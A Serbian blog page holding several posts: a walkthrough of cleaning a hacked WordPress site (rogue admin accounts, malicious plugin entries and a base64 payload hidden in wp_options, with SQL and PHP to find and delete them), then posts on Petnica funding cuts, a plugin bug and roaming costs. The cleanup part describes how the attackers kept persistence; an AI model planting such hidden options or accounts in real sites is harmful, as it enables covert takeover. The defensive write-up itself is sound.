• Sa sajta: wp-config.php iz root foldera
• Sa sajta: izmenjene fajlove iz tema, pri tom poredeći svaki izmenjeni fajl sa originalnim, koristeći WinMerge
• Sa sajta: wp-content/uploads folder, propisno očišćen od čudnih, gore pomenutih fajlova
• Po uploadu čiste verzije sajta pobrinuo se da svi php fajlovi imaju 644 prava pristupa

No već sledeći dan je pokazao da ova akcija nije pomogla – ponovo su spam linkovi bili u RSS feedu, i ponovo su čudni fajlovi našli put do WordPress instalacije.

Sada mi nije preostalo ništa no da razumem ceo mehanizam kako su hackeri uopšte provalili u WordPress i kako “rupu” održavaju otvorenom.

Kako su svi fajlovi bili potpuno čisti, a hack je opet proradio, logično mesto napada je naravno, MySQL baza gde WordPress drži sve svoje podatke i podešavanja.

Korak 2 – baza podataka

Kada proveravam podatke, koristim uvek “direktni” pristup – nikako kroz sam WordPress admin panel. Prvo sam pregledao wp_users tabelu i imao sam šta i da vidim:

Korak 2.1 – strani administratorski nalozi

(klikni za veću sliku)

• Dodat je WordPress user, sa nultim vremenom kreiranja
• Dodat je jedan ili više usera, gde je username nastalo ili od mail adrese admina ili na admin nalepljeno još neko slovo. Karakteristično je vreme kreiranja – identično je vremenu kreiranja prvog admin naloga (praktično kopiranje sloga)

Naravno, svi novokreirani nalozi imaju administrativna prava (dalje ispitivanje je pokazalo da je WordPress imao gomile propusta u verzijama 2.2 – 2.7 koji su omogućavali ovakvo direktno kreiranje naloga).

Rešenje: obrisati sve te naloge.

Ovakvi nalozi daju napadajućem skriptu mogućnost da radi šta god bilo: da kreira fajlove, da menja podatke u bazi; pitanje je šta je stvarno od toga i urađeno.

Korak 2.2 – wp_options / active_plugins

Pokušao sam da u samoj bazi nađem referencu na neki od “čudnih” fajlova, ranije pronađenih; i našao sam ih: nalazili su se fino ušuškani u tabeli wp_options, pod sekcijom ‘active_plugins‘; ovo praktično znači da im je obezbeđeno automatsko učitavanje svaki put prilikom podizanja WordPressa.

Proveru možete izvršiti ili SQL upitom:

SELECT *
FROM `wp_options`
WHERE option_name = "active_plugins"

ili smeštanjem i izvšavanjem malog php programčeta koji će to uraditi za vas (daleko pregledniji a i ne zavisi od wordpress table prefix-a):

<?php
require( './wp-load.php' );
if ( get_option('active_plugins') )
{
    $current_plugins = get_option('active_plugins');
    if ( is_array($current_plugins) )
    {
     foreach ($current_plugins as $plugin)
     {
       if ('' != $plugin )
       {
         echo $plugin . '<br />';
       }
     }
    }
}
if ( get_option('internal_links_cache') )
{
    $link = get_option('internal_links_cache');
    if ('' != $link )
    {
      echo '<hr>DELETE internal_links_cache option!<br />';
    }
}?>

Rešenje: ako ste locirali nedozvoljene ili neobične pozive vezane uz neke pluginove, najlakše ćete se osloboditi tih delova ako kroz WordPress admin panel deaktivirate taj plugin pa ga ponovo aktivirate.

A šta ovi fajlovi zaista rade? Ako malo analizirate (poprilično šifrovan) kod ovih fajlova, jedan od elemenata koje ćete videti je i:

SELECT option_value FROM $wpdb->options
WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'

i to se nalazilo u većini hack fajlova.

Vrednost ove opcije (isto iz tabele wp_options, ovoga puta za option_name = ‘rss_f541b3abd05e7962fcab37737f40fad8‘) je ogromno parče base64 šifrovanog php koda (pre toga uradite strrev, ako želite da ga pravilno čitate) gde se nalazi pravi engine cele hack rutine – od “ispaljivanja” spam linkova pa sve do otvaranja i ispisivanja CELE BAZE korisniku koji zna da priđe sajtu kako treba – veoma destruktivan kod.

Ako pobliže zagledate gornji php kod za izlistavanje, videćete da pored izlistavanja pluginova, ovaj kod proverava i postojanje opcije ‘internal_links_cache’ – naime, neki od hack fajlova čitaju ovu opciju, rade base64_decode i sadržaj (a to su obično gomile i gomile spam linkova) ispaljuju u vaš RSS feed.

Rešenje: obrisati slogove iz wp_options tabele sa
option_name = ‘rss_f541b3abd05e7962fcab37737f40fad8′ i option_name = ‘internal_links_cache’:

DELETE FROM wp_options WHERE option_name = 'internal_links_cache' OR
option_name = 'rss_f541b3abd05e7962fcab37737f40fad8';

Na kraju

Samo da sumiram; ako vam se u vašoj instalaciji WordPress-a učini bilo šta sumnjivo (javi se vaš antivirus program, korisnici primete čudan sadržaj u RSS feedu), onda:

• Uradite full backup i baze i fajlova
• Nađite nekog ko sme da se bakće sa samim sitnim crevcima WordPress-a
• Proverite prvo fajlove
• Proverite administratorske naloge
• Proverite opcije samog WordPressa koje omogućavaju da se useli neželjeni kod

Tek ovakve stvari pokazuju koliko je važno da održavate vaš WordPress “svežim” i da primenjujete zakrpe čim se pojave – inače, možete postati i ostati žrtva spamera a da toga niste ni svesni.

“Svaki narod ima vlast kakvu zaslužuje, naročito ako je ona demokratski izabrana”

Sad, potpuno je jasno da je ovo tačno i da, ma koliko se ljudi koji nisu glasali za takvu vlast ili koji smatraju da može da bude bolje (moja malenkost uključena) bunili, vlast je onakva kakvu je narod, naš narod, izabrao.

Opet, nada umire poslednja i nekako se stalno nadam da će i ta i takva vlast, pored podela svojih prćija, pored podela mesta u upravnim odborima, pored podela svih mesta koje donose novac uz malo ili nimalo truda, naći dovoljno pametnih ljudi u svojim redovima da urade nešto dobro za ovaj narod (tj. nas), nešto pametno i da će napraviti razliku (na bolje) od danas do sutra.

No, naša vlast se svaki put potrudi da demantuje takve nade i to vrlo uspešno:

Ministarstvo obrazovanja ukinulo finansiranje istraživačkoj stanici Petnica (nema 24 miliona dinara)

“Ministarstvo prosvete ukinulo je finansiranje Istraživačke stanice ‘Petnica’, kaže Vigor Majić, direktor ISP i objašnjava da nije dobio nikakvo obrazloženje zašto, posle dve i po decenije, država odustaje od finansiranja ‘Petnice’, kroz koju je prošlo više od 50 hiljada mladih istraživača.”

(izvor: Borba)

Za one koji ne znaju, Istraživačka stanica Petnica je centar za razvoj mladih talenata, namenjena dodatnom, vanškolskom obrazovanju i unapređivanju, kako i školaraca, tako i nastavnog osoblja.

Ja sam imao tu sreću da u više navrata boravim u Petnici, i to je fenomenalno iskustvo – način da talentovanoj deci na drugačiji i bolji način od “standardnog školstva” približite nauku, istraživanje, nove oblasti sa kojima se inače nikada ne bi sreli.

No, “pametno” Ministarstvo obrazovanja i gospodin Žarko Obradović zaključuju da za ovakvo nešto nema para i da je najbolje prvo tu secnuti (kriza, znate); da budem pošten, nije ovo odlika samo dotičnog ministra; i prethodnik, gospodin Zoran Lončar je pokušao istu akciju krajem 2007. godine, ali mu na sreću, zbog pritiska javnosti, to nije uspelo.

Vlada Srbije usvojila interventne mere za pomoć medijima u uslovima ekonomske krize (60 miliona dinara)

“Vlada Republike Srbije usvojila je na današnjoj sednici interventne mere za pomoć medijima u uslovima ekonomske krize.Za praćenje ovih mera zaduženo je Ministarstvo kulture.

Vlada će iz tekuće budžetske rezerve obezbediti dodatna sredstva u visini od 60 miliona dinara, koja će biti namenjena za sufinansiranje projekata u oblasti informisanja.”

Izvor: sajt Ministartva kulture

Sad, ja razumem da je za kratkoročne i kratkovide ciljeve možda našim (jadnim) političarima bitnije da finansiraju (podobne) medije, ali zar zaista niko u Vladi nema dovoljno mozga da shvati da je finansiranje kvalitetnog obrazovanja i sprečavanje odliva mladih mozgova strateški interes Srbije i da su možda mogli da daju medijima 36 miliona a da 24 miliona preostalih daju, kako treba, Petnici?

I da li ima još nekoga u Vladi ko će podržati Božidara Đelića i Ministarstvo nauke koji jedini daju podršku Petnici?

Ili smo svi mi izgubljeni (Srbija) i “prave vrednosti” koje ostanu za Srbiju su Pink, Kurir i Press?

Linkovi:

• Peticija za spas Petnice: http://www.savepetnica.com/
• Digg (dajte podršku) ovoj priči: http://digg.com/world_news/European_country_cutting_its_best_Center_of_Education
• Facebook grupa Sačuvajmo Istraživačku stanicu Petnica

Naime, kako su to Charolija i Mooshema lepo prijavile, možete da se oderete od sabiranja i opet ništa.

Šteta. Probaću da kontaktiram autora i/ili da sam vidim šta ga boli, ali za sada: WordPress 2.8 i Challenge – nesrećna kombinacija.

Neosporna udobnost ovakve usluge (pozivalac ne mora ni da zna gde se nalazite) je praćena vrlo neprijatnim faktorom: cena. Sve će vam naplatiti: dolazne pozive, odlazne pozive, prenos podataka (ako proveravate mail / surfujete) i po paprenoj tarifi.

Pravi razlog za ovo nije tehnološke prirode (ako vas zanima kako to radi, evo Wikipedia članka o Roamingu) već čisto kapitalističko-komercijane prirode: to su slatke, slađane pare i za vašeg operatera i operatera zemlje u kojoj ste – bez puno truda, svaki vaš minut razgovora će im se itekako isplatiti:

• Odlazni pozivi (kada vi zovete) najčešće se zaokružuju na ceo minut (naviše, naravno)
• Ako i koristite GPRS (Web/Mail/MMS poruke), vrlo često se prenos zaokružuje na 100kb
• Obično ima i drugih “skrivenih” fiksnih troškova: uspostavljanje veze, slanje MMS-a i slično

Kako cifre govore više od reči, evo za moj slučaj: korisnik Prenesi 60 postpaid usluga Telenora, koristio telefon u Parizu:

(računato prema kursu evra 1€ = 95 din; za pozive je data cena za minut)

Pogledajte samo te “slatke” procente (ne za korisnike, nego za operatera) – teško ćete naći još neki (legitiman) posao koji barata takvim ciframa.

No, ako ste “kompjuterizovani” putnik (imate laptop i znate da se snađete za bežičnu konekciju), postoji vrlo jednostavno rešenje: Skype. Skoro svi znaju da je Skype neprikosnoveni lider kada su u pitanju PC – PC komunikacije (takvi pozivi su besplatni), ali nikako ne treba zaobići ni SkypeOut opciju – mogućnost da zovete sa vašeg računara bilo koji broj i da šaljete SMS na mobilne brojeve.

Ako odaberete PayAsYouGo opciju, za 10€ (koliko je minimalna uplata) ćete se napričati i poslati poruka; evo cena:

Takođe, za cenu jednog SMS-a možete postaviti i Caller Identification tako da onaj koga pozivate dobija vaš mobilni broj kao dolazni, a ne neki nepoznati strani broj.

Zato, ako idete “napolje” i nosite laptop, učinite sitan napor uplate SkypeOut usluge – višestruko će vam se isplatiti.